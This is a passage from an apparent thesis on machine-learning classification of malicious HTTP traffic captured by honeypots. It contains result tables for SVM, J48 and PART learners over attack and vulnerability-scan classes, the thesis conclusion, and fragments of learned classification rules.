other type of malicious traffic that is clearly distinguishable, like the DoS attack in 
Web2.0 I dataset. 
 Vulnerability scan classes in Web2.0 II dataset are detected with slightly lower 
probability of false alarms than the attacks in this dataset and vulnerability scans classes 
from the Web2.0 I dataset, ranging between 0.00% and 3.10%. 
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 The Dfind vulnerability scan was detected by all the learners with 100.00% probability. 
 The three most dominant vulnerability scan classes Wiki, Blog, and S+ respectively are 
accountable for 40.52% of the total malicious traffic instances. Wiki was detected with 
highest balance of 93.78% by the Unpruned J48, Blog with highest balance of 96.43% by 
SVM, and S+ with highest balance of 99.36% by both PART and Pruned J48. There is no 
significant outlier between the learners when classifying these three classes of 
vulnerability scans. 
 Other Fingerprinting, S+&B, and S+&B&W are not detected at all by the learners 
because of lack of instances present in the dataset as well as close similarity to the three 
larger classes of vulnerability scans Wiki, Blog, and S+. 
 It is interesting to point out that the presence of the random vulnerability scans 
phpMyAdmin and S+&phpMyAdmin in Web2.0 II dataset are detected with highest 
balance of 87.33% by Unpruned J48 and 100.00% by Unpruned, pruned, and Pruned J48 
with selected features. 
In general the detection of specific types of malicious traffic in Web2.0 II dataset, 
similarly as in Web2.0 I dataset, is closely related to the number of malicious traffic instances 
however some of the attack classes attacks in the Web2.0 II dataset like PassW, RFI, XSS, and 
Other Attacks although represented with small number of instances are successfully classified. 
SFS on Web2.0 II dataset selects fifteen and ten features by the SVM and J48 
respectively. This is an indication of the diversity of the malicious traffic present in this dataset. 
Rerunning the learners over the Web2.0 II dataset with only selected features did not result in 
changes in learners’ performance indication that some features are more significant than others, 
and feature selection can be used to improve the computational complexity of the learners. 
 




Class Learner Features used Recall PF Precision Balance 
1. SVM All 0.00% 0.00% 0.00% 29.29% 
2. SVM* 
1, 2, 5, 9, 10, 16, 17, 19, 22, 24, 27, 32, 34, 
35, 37 
0.00% 0.00% 0.00% 29.29% 
3. J48 Unpruned All 0.00% 0.00% 0.00% 29.29% 
4. J48 Pruned All 0.00% 0.00% 0.00% 29.29% 
5. J48 Pruned* 2, 4, 9, 22, 23, 25, 28, 30, 36, 37 0.00% 0.00% 0.00% 29.29% 
PassB 
(1) 
6. PART All 0.00% 0.00% 0.00% 29.29% 
1. SVM All 94.40% 0.00% 97.10% 96.04% 
2. SVM* 
1, 2, 5, 9, 10, 16, 17, 19, 22, 24, 27, 32, 34, 
35, 37 
94.40% 0.10% 94.40% 96.04% 
3. J48 Unpruned All 97.20% 0.10% 95.80% 98.02% 
4. J48 Pruned All 94.40% 0.10% 94.40% 96.04% 
5. J48 Pruned* 2, 4, 9, 22, 23, 25, 28, 30, 36, 37 94.40% 0.10% 94.40% 96.04% 
PassW 
(71) 
6. PART All 94.40% 0.10% 94.40% 96.04% 
1. SVM All 99.50% 0.10% 99.90% 99.64% 
2. SVM* 
1, 2, 5, 9, 10, 16, 17, 19, 22, 24, 27, 32, 34, 
35, 37 
99.50% 0.10% 99.90% 99.64% 
3. J48 Unpruned All 99.60% 0.10% 99.60% 99.71% 
4. J48 Pruned All 99.70% 0.20% 99.60% 99.75% 
5. J48 Pruned* 2, 4, 9, 22, 23, 25, 28, 30, 36, 37 99.70% 0.20% 99.60% 99.75% 
SpamB 
(1411) 
6. PART All 99.70% 0.20% 99.60% 99.75% 
1. SVM All 96.20% 4.80% 85.00% 95.67% 
2. SVM* 
1, 2, 5, 9, 10, 16, 17, 19, 22, 24, 27, 32, 34, 
35, 37 96.40% 
4.90% 84.90% 95.70% 
3. J48 Unpruned All 93.40% 1.80% 93.70% 95.16% 
4. J48 Pruned All 94.50% 2.10% 92.70% 95.84% 
5. J48 Pruned* 2, 4, 9, 22, 23, 25, 28, 30, 36, 37 94.10% 2.00% 92.90% 95.59% 
SpamW 
(1055) 
6. PART All 93.50% 2.30% 91.90% 95.12% 
1. SVM All 100.00% 0.00% 83.30% 100.00% 
2. SVM* 
1, 2, 5, 9, 10, 16, 17, 19, 22, 24, 27, 32, 34, 
35, 37 
100.00% 0.00% 83.30% 100.00% 
3. J48 Unpruned All 100.00% 0.00% 83.30% 100.00% 
4. J48 Pruned All 40.00% 0.10% 40.00% 57.57% 
5. J48 Pruned* 2, 4, 9, 22, 23, 25, 28, 30, 36, 37 40.00% 0.00% 50.00% 57.57% 
RFI 
(5) 
6. PART All 40.00% 0.00% 100.00% 57.57% 
1. SVM All 72.70% 0.10% 66.70% 80.70% 
2. SVM* 
1, 2, 5, 9, 10, 16, 17, 19, 22, 24, 27, 32, 34, 
35, 37 
72.70% 0.00% 80.00% 80.70% 
3. J48 Unpruned All 63.60% 0.00% 100.00% 74.26% 
4. J48 Pruned All 63.60% 0.00% 87.50% 74.26% 
5. J48 Pruned* 2, 4, 9, 22, 23, 25, 28, 30, 36, 37 72.70% 0.00% 88.90% 80.70% 
XSS 
(11) 
6. PART All 54.50% 0.00% 75.00% 67.83% 
1. SVM All 88.40% 0.20% 93.30% 91.80% 
2. SVM* 
1, 2, 5, 9, 10, 16, 17, 19, 22, 24, 27, 32, 34, 
35, 37 
90.70% 0.20% 94.00% 93.42% 
3. J48 Unpruned All 91.90% 0.40% 90.30% 94.27% 
4. J48 Pruned All 89.50% 0.20% 93.90% 92.57% 




6. PART All 89.50% 0.30% 91.70% 92.57% 
Table 5.26: Web2.0 II multi-class learner performance over attack classes (SVM* and J48 Pruned* are when 
the learners are used only selected features) 
 




Class Learner Features used Recall PF Precision Balance 
1. SVM All 100.00% 0.00% 95.20% 100.00% 
2. SVM* 
1, 2, 5, 9, 10, 16, 17, 19, 22, 
24, 27, 32, 34, 35, 37 
100.00% 0.00% 95.20% 100.00% 
3. J48 Unpruned All 100.00% 0.00% 100.00% 100.00% 
4. J48 Pruned All 100.00% 0.10% 87.00% 99.93% 
5. J48 Pruned* 
2, 4, 9, 22, 23, 25, 28, 30, 36, 
37 100.00% 
0.10% 83.30% 99.93% 
DFind 
(20) 
6. PART All 100.00% 0.10% 87.00% 99.93% 
1. SVM All 0.00% 0.00% 0.00% 29.29% 
2. SVM* 
1, 2, 5, 9, 10, 16, 17, 19, 22, 
24, 27, 32, 34, 35, 37 
0.00% 0.00% 0.00% 29.29% 
3. J48 Unpruned All 0.00% 0.00% 0.00% 29.29% 
4. J48 Pruned All 0.00% 0.00% 0.00% 29.29% 
5. J48 Pruned* 
2, 4, 9, 22, 23, 25, 28, 30, 36, 
37 




6. PART All 0.00% 0.00% 0.00% 29.29% 
1. SVM All 97.90% 0.00% 99.70% 98.52% 
2. SVM* 
1, 2, 5, 9, 10, 16, 17, 19, 22, 
24, 27, 32, 34, 35, 37 
96.00% 0.10% 98.70% 97.17% 
3. J48 Unpruned All 98.80% 0.00% 99.40% 99.15% 
4. J48 Pruned All 99.10% 0.10% 98.20% 99.36% 
5. J48 Pruned* 
2, 4, 9, 22, 23, 25, 28, 30, 36, 
37 99.10% 
0.20% 97.90% 99.35% 
S+ 
(327) 
6. PART All 99.10% 0.10% 98.50% 99.36% 
1. SVM All 95.10% 1.20% 93.20% 96.43% 
2. SVM* 
1, 2, 5, 9, 10, 16, 17, 19, 22, 
24, 27, 32, 34, 35, 37 
93.90% 0.90% 94.50% 95.64% 
3. J48 Unpruned All 94.20% 0.60% 96.30% 95.88% 
4. J48 Pruned All 94.20% 0.90% 94.80% 95.85% 
5. J48 Pruned* 
2, 4, 9, 22, 23, 25, 28, 30, 36, 
37 
92.50% 0.90% 94.40% 94.66% 
Blog 
(690) 
6. PART All 94.10% 1.10% 93.50% 95.76% 
1. SVM All 78.90% 2.00% 90.40% 85.01% 
2. SVM* 
1, 2, 5, 9, 10, 16, 17, 19, 22, 
24, 27, 32, 34, 35, 37 
79.40% 2.30% 89.10% 85.34% 
3. J48 Unpruned All 91.60% 2.60% 89.20% 93.78% 
4. J48 Pruned All 89.40% 2.70% 88.90% 92.27% 
5. J48 Pruned* 
2, 4, 9, 22, 23, 25, 28, 30, 36, 
37 
89.70% 3.10% 87.50% 92.39% 
Wiki 
(922) 
6. PART All 88.50% 2.60% 89.00% 91.66% 
1. SVM All 58.40% 0.40% 71.40% 70.58% 
2. SVM* 
1, 2, 5, 9, 10, 16, 17, 19, 22, 
24, 27, 32, 34, 35, 37 
61.00% 0.30% 77.00% 72.42% 
3. J48 Unpruned All 67.50% 0.50% 70.30% 77.02% 
4. J48 Pruned All 62.30% 0.40% 71.60% 73.34% 
5. J48 Pruned* 
2, 4, 9, 22, 23, 25, 28, 30, 36, 
37 
63.60% 0.30% 75.40% 74.26% 
B&W 
(77) 
6. PART All 70.10% 0.40% 76.10% 78.86% 
1. SVM All 0.00% 0.00% 0.00% 29.29% 
2. SVM* 
1, 2, 5, 9, 10, 16, 17, 19, 22, 
24, 27, 32, 34, 35, 37 
0.00% 0.00% 0.00% 29.29% 
3. J48 Unpruned All 0.00% 0.00% 0.00% 29.29% 
4. J48 Pruned All 0.00% 0.00% 0.00% 29.29% 
5. J48 Pruned* 
2, 4, 9, 22, 23, 25, 28, 30, 36, 
37 
0.00% 0.00% 0.00% 29.29% 
S+&B 
(1) 
6. PART All 0.00% 0.00% 0.00% 29.29% 
1. SVM All 33.30% 0.00% 100.00% 52.84% 
2. SVM* 
1, 2, 5, 9, 10, 16, 17, 19, 22, 
24, 27, 32, 34, 35, 37 
33.30% 0.00% 100.00% 52.84% 
3. J48 Unpruned All 66.70% 0.00% 66.70% 76.45% 
4. J48 Pruned All 33.30% 0.00% 100.00% 52.84% 
5. J48 Pruned* 
2, 4, 9, 22, 23, 25, 28, 30, 36, 
37 
33.30% 0.00% 100.00% 52.84% 
S+&W 
(3) 
6. PART All 0.00% 0.00% 0.00% 29.29% 
S+&B&W 1. SVM All 0.00% 0.10% 0.00% 29.29% 
 




1, 2, 5, 9, 10, 16, 17, 19, 22, 
24, 27, 32, 34, 35, 37 
0.00% 0.00% 0.00% 29.29% 
3. J48 Unpruned All 33.30% 0.00% 50.00% 52.84% 
4. J48 Pruned All 0.00% 0.00% 0.00% 29.29% 
5. J48 Pruned* 
2, 4, 9, 22, 23, 25, 28, 30, 36, 
37 
0.00% 0.00% 0.00% 29.29% 
(3) 
6. PART All 0.00% 0.00% 0.00% 29.29% 
1. SVM All 63.60% 0.10% 70.00% 74.26% 
2. SVM* 
1, 2, 5, 9, 10, 16, 17, 19, 22, 
24, 27, 32, 34, 35, 37 
63.60% 0.10% 63.60% 74.26% 
3. J48 Unpruned All 81.80% 0.10% 75.00% 87.13% 
4. J48 Pruned All 54.50% 0.10% 66.70% 67.83% 
5. J48 Pruned* 
2, 4, 9, 22, 23, 25, 28, 30, 36, 
37 
72.70% 0.10% 66.70% 80.70% 
phpMyAdmin 
(11) 
6. PART All 54.50% 0.10% 60.00% 67.83% 
1. SVM All 66.70% 0.00% 66.70% 76.45% 
2. SVM* 
1, 2, 5, 9, 10, 16, 17, 19, 22, 
24, 27, 32, 34, 35, 37 
66.70% 0.00% 66.70% 76.45% 
3. J48 Unpruned All 100.00% 0.00% 75.00% 100.00% 
4. J48 Pruned All 100.00% 0.00% 75.00% 100.00% 
5. J48 Pruned* 
2, 4, 9, 22, 23, 25, 28, 30, 36, 
37 
100.00% 0.00% 100.00% 100.00% 
S+&phpMyAdmin 
(3) 
6. PART All 33.30% 0.10% 20.00% 52.84% 
Table 5.27: Web2.0 II multi-class learner performance over vulnerability scan classes (SVM* and J48 
Pruned* are when the learners are used only selected features) 
 
Table 5.28 and Table 5.29 present the classification performance of the learners for the 
multi-class problem of the WebDBAdmin I dataset. WebDBAdmin I dataset has the smaller 
number of different classes of malicious traffic then the both Web2.0 datasets, in total 11, spread 
amongst four attack classes and five vulnerability scans. 
The attack classes in WebDBAdmin I dataset are PassB, E-mail harvesting, SQL 
injection, and Other attacks. The following can be seen from the Table 5.28. 
 All attack classes in WebDBAdmin I dataset are detected by all the learners with low 
probability of false alarms, ranging between 0.00% and 2.90%. 
 The dominant attack class in the WebDBAdmin I dataset is PassB, is identified by 
Unpruned and Pruned J48 with the highest balance of 100.00%. 
 It is interesting to mention that E-mail Harvesting attack was detected with more than 
99.29% balance by all learners, in spite the fact that it contains only 5 instances. This tells 
us that E-mail Harvesting attacks are significantly different that the other types of attacks 
seen in WebDBAdmin I dataset. 
 SQL injection attack, as in the previous datasets, was not detected by any learner because 
of the presence of only one instance in the dataset. 
 The Other attack class also has five instances as the E-mail harvesting attack, but it was 
not detected by the learners with significant performance. 
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The vulnerability scans classes in the WebDBAdmin I dataset are DFind, Other 
Fingerprinting, S+, phpMyAdmin, and S+&phpMyAdmin. The following can be seen from the 
Table 5.29. 
 Vulnerability scan classes in WebDBAdmin I dataset are detected by slightly lower 
probability of false alarms than the attacks in this dataset and vulnerability scans classes 
from the Web2.0 datasets, ranging between 0.00% and 8.60%. 
 The probability of detection of the Dfind vulnerability scan by all the learners was 
100.00% which is consistent with the other datasets. 
 phpMyAdmin is the biggest class of malicious traffic in the WebDBAdmin I dataset and 
was detected by all the learners with balance ranging between 93.66% and 96.83%. 
 S+ class is detected by Unpruned J48 with highest balance of 86.29%. The lower balance 
is due to the fact that S+ is misclassified as the similar and bigger class 
S+&phpMyAdmin which was detected by Unpruned J48 with highest balance of 95.64%. 
 It is interesting to mention that Other Fingerprinting class is detected by SVM, Unpruned 
and Pruned J48 with balance of 94.98%. The high balance is indication that the Other 
fingerprinting class contains diverse set of instances clearly distinguishable from the 
other classes of malicious traffic in WebDBAdmin I dataset. 
In general the detection of specific types of malicious traffic in WebDBAdmin I dataset, 
similarly as in both Web2.0 datasets, is closely related to the number of malicious traffic 
instances with exception of the ones that are clearly distinguishable. 
SFS on WebDBAdmin I dataset selects twelve and five features by the SVM and J48 
respectively. The difference of seven more features selected by SVM reflects in the results when 
SVM is used with the selected features with drop in performance. This indicates that SVM is not 
a suitable learner for classifying the malicious traffic in this dataset. 
On the other hand the J48 learners especially the Pruned J48 with selected features and 
PART do not show significant drop in performances from the Unpruned J48. This indicates that 
the malicious traffic in the WebDBAdmin I dataset can be successfully explained by fewer rules 
than the traffic in both Web2.0 datasets. 
 




Class Learner Features used Recall PF Precision Balance 
1. SVM All 94.40% 0.00% 100.00% 96.04% 
2. SVM* 1, 4, 9, 10, 11, 15, 23, 25, 27, 28, 34, 35 61.10% 2.60% 68.80% 72.43% 
3. J48 Unpruned All 100.00% 0.00% 100.00% 100.00% 
4. J48 Pruned All 100.00% 0.00% 100.00% 100.00% 
5. J48 Pruned* 2, 3, 19, 25, 36 83.30% 2.00% 78.90% 88.11% 
PassP 
(18) 
6. PART All 94.40% 0.50% 94.40% 96.02% 
1. SVM All 100.00% 0.00% 100.00% 100.00% 
2. SVM* 1, 4, 9, 10, 11, 15, 23, 25, 27, 28, 34, 35 100.00% 0.00% 100.00% 100.00% 
3. J48 Unpruned All 100.00% 0.50% 83.30% 99.65% 
4. J48 Pruned All 100.00% 0.50% 83.30% 99.65% 




6. PART All 100.00% 0.50% 83.30% 99.65% 
1. SVM All 0.00% 0.00% 0.00% 29.29% 
2. SVM* 1, 4, 9, 10, 11, 15, 23, 25, 27, 28, 34, 35 0.00% 0.00% 0.00% 29.29% 
3. J48 Unpruned All 0.00% 0.00% 0.00% 29.29% 
4. J48 Pruned All 0.00% 0.00% 0.00% 29.29% 




6. PART All 0.00% 0.00% 0.00% 29.29% 
1. SVM All 20.00% 1.00% 33.30% 43.43% 
2. SVM* 1, 4, 9, 10, 11, 15, 23, 25, 27, 28, 34, 35 20.00% 1.40% 25.00% 43.42% 
3. J48 Unpruned All 40.00% 0.50% 66.70% 57.57% 
4. J48 Pruned All 40.00% 1.40% 40.00% 57.56% 




6. PART All 0.00% 2.90% 0.00% 29.26% 
Table 5.28: WebDBAdmin I multi-class learner performance over attack classes (SVM* and J48 Pruned* are 
when the learners are used only selected features) 
 




Class Learner Features used Recall FP Precision Balance 
1. SVM All 100.00% 1.50% 85.00% 98.94% 
2. SVM* 1, 4, 9, 10, 11, 15, 23, 25, 27, 28, 34, 35 100.00% 0.50% 94.40% 99.65% 
3. J48 Unpruned All 100.00% 1.50% 85.00% 98.94% 
4. J48 Pruned All 100.00% 0.50% 94.40% 99.65% 
5. J48 Pruned* 2, 3, 19, 25, 36 100.00% 1.00% 89.50% 99.29% 
Dfind 
(17) 
6. PART All 100.00% 0.50% 94.40% 99.65% 
1. SVM All 92.90% 0.00% 100.00% 94.98% 
2. SVM* 1, 4, 9, 10, 11, 15, 23, 25, 27, 28, 34, 35 50.00% 2.50% 58.30% 64.60% 
3. J48 Unpruned All 92.90% 0.00% 100.00% 94.98% 
4. J48 Pruned All 92.90% 0.00% 100.00% 94.98% 




6. PART All 92.90% 0.50% 92.90% 94.97% 
1. SVM All 69.20% 2.10% 81.80% 78.17% 
2. SVM* 1, 4, 9, 10, 11, 15, 23, 25, 27, 28, 34, 35 50.00% 5.30% 56.50% 64.45% 
3. J48 Unpruned All 80.80% 2.70% 80.80% 86.29% 
4. J48 Pruned All 69.20% 4.30% 69.20% 78.01% 
5. J48 Pruned* 2, 3, 19, 25, 36 69.20% 2.70% 78.30% 78.14% 
S+ 
(26) 
6. PART All 73.10% 3.20% 76.00% 80.84% 
1. SVM All 97.40% 7.30% 88.20% 94.52% 
2. SVM* 1, 4, 9, 10, 11, 15, 23, 25, 27, 28, 34, 35 94.80% 7.30% 88.00% 93.66% 
3. J48 Unpruned All 96.10% 2.20% 96.10% 96.83% 
4. J48 Pruned All 94.80% 3.60% 93.60% 95.53% 
5. J48 Pruned* 2, 3, 19, 25, 36 94.80% 3.60% 93.60% 95.53% 
phpMyAdmin 
(77) 
6. PART All 94.80% 4.40% 92.40% 95.18% 
1. SVM All 86.30% 3.10% 89.80% 90.07% 
2. SVM* 1, 4, 9, 10, 11, 15, 23, 25, 27, 28, 34, 35 76.50% 8.60% 73.60% 82.31% 
3. J48 Unpruned All 94.10% 1.80% 94.10% 95.64% 
4. J48 Pruned All 86.30% 3.70% 88.00% 89.97% 
5. J48 Pruned* 2, 3, 19, 25, 36 86.30% 5.50% 83.00% 89.56% 
S+&phpMyAdmin 
(51) 
6. PART All 82.40% 3.70% 87.50% 87.28% 
Table 5.29: WebDBAdmin I multi-class learner performance over vulnerability scan classes (SVM* and J48 
Pruned* are when the learners are used only selected features) 
  
Table 5.30 and Table 5.31 present the classification performance of the learners for the 
multi-class problem of the WebDBAdmin II dataset. WebDBAdmin II dataset has the smallest 
number of different classes of malicious traffic, in total 8, spread amongst 3 attack classes and 5 
vulnerability scans. 
The attack classes in WebDBAdmin II dataset are PassB, RFI, and Other attack. The 
following can be seen from the Table 5.30. 
 All attack classes in WebDBAdmin II dataset are detected by all the learners with small 
probability of false alarms, ranging between 0.00% and 1.60%. 
 The Other attack is the dominant attack class in the WebDBAdmin II. Although it 
contains various not closely related attacks it is identified by Unpruned J48 with highest 
balance of 89.54%. 
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 PassP and RFI have only one instance per class and were not at all classified by the 
learners. 
The vulnerability scans classes in the WebDBAdmin II dataset are the same as 
WebDBAdmin I those are DFind, Other Fingerprinting, S+, phpMyAdmin, and 
S+&phpMyAdmin. The following can be seen from the Table 5.31. 
 Vulnerability scan classes in WebDBAdmin II dataset are detected with the highest 
probability of false alarms than the attacks in the other datasets ranging between 0.00% 
and 19.50%. 
 The probability of detection of the Dfind vulnerability scan by all the learners was 
consistent with the other dataset of 100.00%. 
 S+ and phpMyAdmin are the dominant classes in this dataset with instances contributing 
to 83.97% of total number of malicious traffic. 
 S+ is the biggest class of malicious traffic in the WebDBAdmin II dataset and was 
detected by PART with highest balance of 98.77%. 
 phpMyAdmin and S+&phpMyAdmin are the second and the third biggest classes in 
WebDBAdmin II dataset and are detected by Unpruned J48 with highest balance of 
95.12%, and by PART with highest balance of 92.83%, respectively. 
 The Other Fingerprinting class in this dataset was not detected with high performance by 
any learner like it was the case with the same class in WebDBAdmin I dataset. This is 
because only 3 instances were present in the Other Fingerprinting class in WebDBAdmin 
II dataset. 
The same conclusions of the muti-class classification form the other dataset apply here as 
well. The detection of specific types of malicious traffic in WebDBAdmin II dataset is closely 
related to the number of malicious traffic instances with exception of the ones that are clearly 
distinguishable, like Dfind. 
SFS on WebDBAdmin II dataset selects eighteen and five features by the SVM and J48 
respectively. The selection of twelve more features by SVM results in drop of performance when 
SVM is used with selected features. This indicates that SVM is not a suitable learner for 
classifying the malicious traffic in this dataset. 
On the other hand the J48 learners especially the Pruned J48 with selected features and 
PART do not show significant drop in performances from the Unpruned J48. This indicates that 
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the malicious traffic in the WebDBAdmin I dataset can be successfully explained by fewer rules 
than the traffic in both Web2.0 datasets. 
 
Class Learner Features used PF Precision Balance 
1. SVM All 0.00% 0.00% 29.29% 
2. SVM* 
1, 8, 15, 16, 18, 21, 22, 23, 24, 25, 26, 28, 29, 30, 33, 37, 38, 
39 0.00% 
0.00% 29.29% 
3. J48 Unpruned All 0.00% 0.00% 29.29% 
4. J48 Pruned All 0.00% 0.00% 29.29% 
5. J48 Pruned* 2, 10, 17, 25, 29 0.00% 0.00% 29.29% 
PassP 
(1) 
6. PART All 0.00% 0.00% 29.29% 
1. SVM All 0.00% 0.00% 29.29% 
2. SVM* 
1, 8, 15, 16, 18, 21, 22, 23, 24, 25, 26, 28, 29, 30, 33, 37, 38, 
39 0.00% 
0.00% 29.29% 
3. J48 Unpruned All 0.00% 0.00% 29.29% 
4. J48 Pruned All 0.00% 0.00% 29.29% 
5. J48 Pruned* 2, 10, 17, 25, 29 0.00% 0.00% 29.29% 
RFI 
(1) 
6. PART All 0.00% 0.00% 29.29% 
1. SVM All 1.00% 82.10% 77.08% 
2. SVM* 
1, 8, 15, 16, 18, 21, 22, 23, 24, 25, 26, 28, 29, 30, 33, 37, 38, 
39 0.20% 93.80% 
60.47% 
3. J48 Unpruned All 1.60% 78.40% 89.54% 
4. J48 Pruned All 1.40% 78.80% 83.35% 




6. PART All 1.00% 82.80% 79.20% 
Table 5.30: WebDBAdmin II multi-class learner performance over attack classes (SVM* and J48 Pruned* 
are when the learners are used only selected features) 
 
In summary, if looked per class across datasets than: 
 J48 learner’s performed better than SVM which was also confirmed for the two-class 
classification. 
 The classification of certain classes of malicious it is closely related to the number of 
class instances. 
 DoS, SpamB, and SpamW are the best classified attacks. 
 RFI and XSS attacks although represented with low number of instances were usually 
successfully classified. 
 Dfind, S+, Blog, Wiki, phpMyAdmin, and two combination B&W and 
S+&phpMyAdmin were best classified vulnerability scans. 
 The other vulnerability scans which are combinations of multiply types were usually 
misclassified with the bigger similar group of vulnerability scans because of the low 
number of instances. 
 





Class Learner Features used Recall PF Precision Balance 
1. SVM All 100.00% 0.60% 86.40% 99.58% 
2. SVM* 
1, 8, 15, 16, 18, 21, 22, 23, 24, 25, 
26, 28, 29, 30, 33, 37, 38, 39 
0.00% 0.00% 0.00% 29.29% 
3. J48 Unpruned All 100.00% 0.60% 86.40% 99.58% 
4. J48 Pruned All 100.00% 0.80% 82.60% 99.43% 
5. J48 Pruned* 2, 10, 17, 25, 29 100.00% 0.80% 82.60% 99.43% 
DFind 
(19) 
6. PART All 100.00% 1.30% 73.10% 99.08% 
1. SVM All 0.00% 0.00% 0.00% 29.29% 
2. SVM* 
1, 8, 15, 16, 18, 21, 22, 23, 24, 25, 
26, 28, 29, 30, 33, 37, 38, 39 
0.00% 0.00% 0.00% 29.29% 
3. J48 Unpruned All 33.30% 0.50% 25.00% 52.83% 
4. J48 Pruned All 0.00% 0.20% 0.00% 29.29% 




6. PART All 0.00% 0.00% 0.00% 29.29% 
1. SVM All 98.00% 0.80% 99.30% 98.48% 
2. SVM* 
1, 8, 15, 16, 18, 21, 22, 23, 24, 25, 
26, 28, 29, 30, 33, 37, 38, 39 
92.20% 18.50% 86.20% 85.80% 
3. J48 Unpruned All 98.00% 0.80% 99.30% 98.48% 
4. J48 Pruned All 99.00% 2.10% 98.40% 98.36% 
5. J48 Pruned* 2, 10, 17, 25, 29 95.10% 4.90% 96.00% 95.10% 
S+ 
(306) 
6. PART All 99.30% 1.60% 98.70% 98.77% 
1. SVM All 94.20% 4.60% 89.00% 94.77% 
2. SVM* 
1, 8, 15, 16, 18, 21, 22, 23, 24, 25, 
26, 28, 29, 30, 33, 37, 38, 39 
72.30% 19.50% 59.30% 76.05% 
3. J48 Unpruned All 93.50% 2.50% 93.50% 95.08% 
4. J48 Pruned All 93.50% 2.30% 94.20% 95.12% 
5. J48 Pruned* 2, 10, 17, 25, 29 87.70% 6.90% 83.40% 90.03% 
phpMyAdmin 
(155) 
6. PART All 92.90% 1.50% 96.00% 94.87% 
1. SVM All 73.30% 2.10% 66.70% 81.06% 
2. SVM* 
1, 8, 15, 16, 18, 21, 22, 23, 24, 25, 
26, 28, 29, 30, 33, 37, 38, 39 
30.00% 1.50% 52.90% 50.49% 
3. J48 Unpruned All 76.70% 1.20% 79.30% 83.50% 
4. J48 Pruned All 80.00% 1.20% 80.00% 85.83% 
5. J48 Pruned* 2, 10, 17, 25, 29 50.00% 2.90% 50.00% 64.59% 
S+&phpMyAdmin 
(30) 
6. PART All 90.00% 1.70% 75.00% 92.83% 
Table 5.31: WebDBAdmin II multi-class learner performance over vulnerability scans classes (SVM* and J48 





Chapter 6  
Conclusion 
 
In this thesis we characterize and classify malicious HTTP traffic observed on typical 
Web systems based on data collected from four high-interaction honeypots which were setup in 
larger effort that involved several team members. Our research group conducted a large scale, 
detailed analysis of observed real malicious HTTP traffic. We processed and analyzed Web 
server's access log files from four advertised honeypots each in duration of almost four months 
resulting into four datasets WebDBAdmin I, Web 2.0 I, WebDBAdmin II, and Web 2.0 II 
consisting of labeled HTTP sessions. We identified twenty-two different classes of malicious 
HTTP traffic divided into two major types, attacks and vulnerability scans. The results of the 
analysis of the malicious traffic show that: 
 The amount of observed HTTP traffic greatly depends on the running Web applications. 
Web2.0 datasets have three times more HTTP traffic than the WebDBAdmin datasets, 
showing that Web2.0 applications are more attractive targets for attackers. 
 Vulnerability scans are dominant type of malicious activity in three out of four datasets. 
This shows that probing and collecting information about Web systems and applications 
is dominating over the attacks. Hiding valuable information about the architecture of the 
Web systems and the Web application is an important first step in attack prevention. 
 Posing Spam was dominant attack class on Web 2.0 honeypots. The Spam sessions 
significantly contributed towards increasing the total number of observed attacks. This 
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shows that due to their interactive nature, the Spam is becoming a major problem for 
many servers that host Web 2.0 applications. 
 Password cracking is the second largest attack class. This observation shows that 
attackers are looking for the easiest way to compromise a Web system by breaking weak 
passwords. 
 The rest of the attack types like RFI, SQL injection, and XSS were randomly aimed 
towards the Web applications with attacker’s intent to exploit “generic” Web application 
flaws like the access control and missing input validation. 
We characterized each HTTP session with 43 different features which we extracted form 
the Web server’s access logs. The four datasets which we created are collection of data vectors 
representing the malicious HTTP sessions characterized with different values for the 43 features. 
In the process of labeling, each HTTP sessions was assigned an actual label thus allowing us to 
apply supervised learning techniques in order to classify malicious HTTP traffic. In this thesis 
we use two supervised machine learning techniques: Support Vector Machines (SVM) and 
Decision Trees (i.e., J48 and the rule induction method PART) in order to classify malicious 
activity towards Web applications. None of the related work studies showed classification of 
observed malicious HTPP traffic. We used the supervised learning techniques to (1) distinguish 
attacks from vulnerability scans thus helping automate the identification of attacks within the 
malicious HTTP traffic consisting of many vulnerability scans, which is important because 
attacks are more critical events, and (2) classify twenty-two types of malicious activities which 
contributes towards better understanding and discovering the characteristics of the malicious 
HTTP traffic. The most significant observations from the classification of malicious HTTP 
traffic are as follows: 
 Support Vector Machines (SVM) and Decision Trees (i.e., J48 and the rule induction 
method PART) successfully classified the attacks and vulnerability scans, with high 
probability of detection and very low probability of false alarm. 
 The classification of multiple classes of malicious activity greatly depends on the number 
of observed instances of that class, and how similar that class is to the other classes of 
malicious activity. 
 




 With exception of some very low represented classes, the classification of multiple 
classes of malicious activities was with similar performance as the coarse grain 
classification of the attacks and vulnerability scans. 
 Feature selection did not result in significantly different performance of the learners, 
which indicates that some features are more significant than others. Thus, feature 
selection can be used to improve the computational complexity of the learners with little 
or no loss in classification performance. 
Our future work includes further investigations in the performance of other supervised 
machine learning techniques, as well as more formal comparison of the performance of the 
different supervised machine learning techniques.  We also plan to optimize the learners for 
better detection of specific types of malicious activity. The observations made in this thesis may 
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POST <= 0 AND Median Number of Parameters <= 0.125 









POST > 0 Attack 186 0 
NOT(*) Attack 8 0 






Max Number of Parameters <= 0.166667 AND Success > 0 




Texts <= 0.111111 AND Max Length <= 0.142857 AND 








Redirection > 0 AND Videos <= 0.333333 AND Median 
Number of Parameters <= 0.25 AND Max Number of 








Standard Deviation of Number of Parameters <= 0.512367 
AND Semicolon Used <= 0 AND Server Error <= 0 AND 
Median Length <= 0.191837 AND Max Number of 
Parameters > 0.166667 AND Bytes Transferred <= 




Standard Deviation of Length > 0.095324 AND Mean 
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Number of Requests <= 0.014085 AND Bytes Transferred 
> 0.000027 AND Min Number of Parameters > 0.25 AND 
Max Length <= 0.179592 AND Number of Requests <= 0 




Number of Requests <= 0.014085 AND Bytes Transferred 













Min Number of Parameters <= 0.5 AND Average Time 
Between Requests <= 0.530599 AND Mean Number of 








POST > 0 Attack 1468 0 
Applications > 0 AND Max Number of Parameters > 
0.666667 
Attack 73 0 
Applications > 0 AND Duration > 0.063166 AND Max 
Number of Parameters > 0.333333 
Attack 55 3 
Remote Sites Injected > 0 AND Mean Number of 
Parameters <= 0.465263 
Attack 24 0 
Min Length > 0.18 AND Median Length <= 0.171429 Attack 75 2 
Min Length > 0.2 AND Bytes Transferred > 0.000065 AND 
Max Number of Parameters > 0.333333 
Attack 33 1 
Standard Deviation of Number of Parameters > 0.512367 Attack 18 4 
Standard Deviation of Length > 0.064332 AND Standard 
Deviation of Number of Parameters > 0.194346 AND 
robots.txt <= 0 
Attack 14 0 
Number of Requests <= 0.014085 AND Bytes Transferred 
> 0.000027 AND Bytes Transferred > 0.000272 AND 
Server Error <= 0 AND Bytes Transferred <= 0.001663 
Attack 15 1 
